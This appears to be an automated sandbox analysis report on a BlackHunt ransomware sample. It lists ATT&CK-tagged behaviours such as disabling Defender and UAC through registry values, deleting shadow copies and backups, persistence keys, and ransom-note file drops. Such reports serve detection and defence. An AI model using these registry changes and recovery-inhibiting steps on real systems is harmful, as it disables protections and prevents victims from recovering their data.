1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3

Data Destruction

T1485

pid	Process
4280	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2492	bcdedit.exe
4284	bcdedit.exe

Renames multiple (333) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1248	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\H:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\Y:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\K:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\B:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\M:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\R:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\A:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\Z:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\V:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\G:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\L:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\Q:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\W:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\T:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\I:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\J:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\X:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\N:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\U:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\P:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\S:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened (read-only)	\??\O:	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\thaidict.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansDemiBold.ttf	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\sound.properties	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\accessibility.properties	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jfxrt.jar	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\icu_web.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunpkcs11.jar	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jvm.lib	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveDrop32x32.gif	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.hta	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\currency.data	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\dotnet\LICENSE.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightRegular.ttf	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\release	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.hta	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\libpng.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxslt.md	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterBold.ttf	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.properties.src	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\classlist	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2680	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3764	vssadmin.exe
3084	vssadmin.exe
2816	vssadmin.exe
3248	vssadmin.exe
1740	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeRestorePrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeBackupPrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeTakeOwnershipPrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeAuditPrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeSecurityPrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeIncBasePriorityPrivilege	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Token: SeBackupPrivilege	796	wbengine.exe
Token: SeRestorePrivilege	796	wbengine.exe
Token: SeSecurityPrivilege	796	wbengine.exe
Token: SeBackupPrivilege	2284	vssvc.exe
Token: SeRestorePrivilege	2284	vssvc.exe
Token: SeAuditPrivilege	2284	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 3784	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	94
PID 3276 wrote to memory of 3784	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	94
PID 3276 wrote to memory of 2436	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	96
PID 3276 wrote to memory of 2436	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	96
PID 3276 wrote to memory of 1136	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	99
PID 3276 wrote to memory of 1136	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	99
PID 3276 wrote to memory of 4688	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	98
PID 3276 wrote to memory of 4688	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	98
PID 3276 wrote to memory of 3764	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	102
PID 3276 wrote to memory of 3764	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	102
PID 2436 wrote to memory of 4756	2436	cmd.exe	108
PID 2436 wrote to memory of 4756	2436	cmd.exe	108
PID 1136 wrote to memory of 5068	1136	schtasks.exe	104
PID 1136 wrote to memory of 5068	1136	schtasks.exe	104
PID 3784 wrote to memory of 4508	3784	cmd.exe	169
PID 3784 wrote to memory of 4508	3784	cmd.exe	169
PID 4688 wrote to memory of 4664	4688	cmd.exe	106
PID 4688 wrote to memory of 4664	4688	cmd.exe	106
PID 3764 wrote to memory of 4668	3764	vssadmin.exe	105
PID 3764 wrote to memory of 4668	3764	vssadmin.exe	105
PID 3276 wrote to memory of 4088	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	202
PID 3276 wrote to memory of 4088	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	202
PID 3276 wrote to memory of 4648	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	111
PID 3276 wrote to memory of 4648	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	111
PID 3276 wrote to memory of 1616	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	196
PID 3276 wrote to memory of 1616	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	196
PID 3276 wrote to memory of 1832	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	117
PID 3276 wrote to memory of 1832	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	117
PID 3276 wrote to memory of 4568	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	116
PID 3276 wrote to memory of 4568	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	116
PID 3276 wrote to memory of 4172	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	120
PID 3276 wrote to memory of 4172	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	120
PID 3276 wrote to memory of 2056	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	122
PID 3276 wrote to memory of 2056	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	122
PID 3276 wrote to memory of 2916	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	123
PID 3276 wrote to memory of 2916	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	123
PID 3276 wrote to memory of 3612	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	131
PID 3276 wrote to memory of 3612	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	131
PID 3276 wrote to memory of 1144	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	130
PID 3276 wrote to memory of 1144	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	130
PID 3276 wrote to memory of 1252	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	125
PID 3276 wrote to memory of 1252	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	125
PID 3276 wrote to memory of 4348	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	129
PID 3276 wrote to memory of 4348	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	129
PID 3276 wrote to memory of 4856	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	134
PID 3276 wrote to memory of 4856	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	134
PID 3276 wrote to memory of 1712	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	135
PID 3276 wrote to memory of 1712	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	135
PID 3276 wrote to memory of 4156	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	145
PID 3276 wrote to memory of 4156	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	145
PID 3276 wrote to memory of 3032	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	144
PID 3276 wrote to memory of 3032	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	144
PID 3276 wrote to memory of 4228	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	143
PID 3276 wrote to memory of 4228	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	143
PID 3276 wrote to memory of 2692	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	141
PID 3276 wrote to memory of 2692	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	141
PID 3276 wrote to memory of 4656	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	158
PID 3276 wrote to memory of 4656	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	158
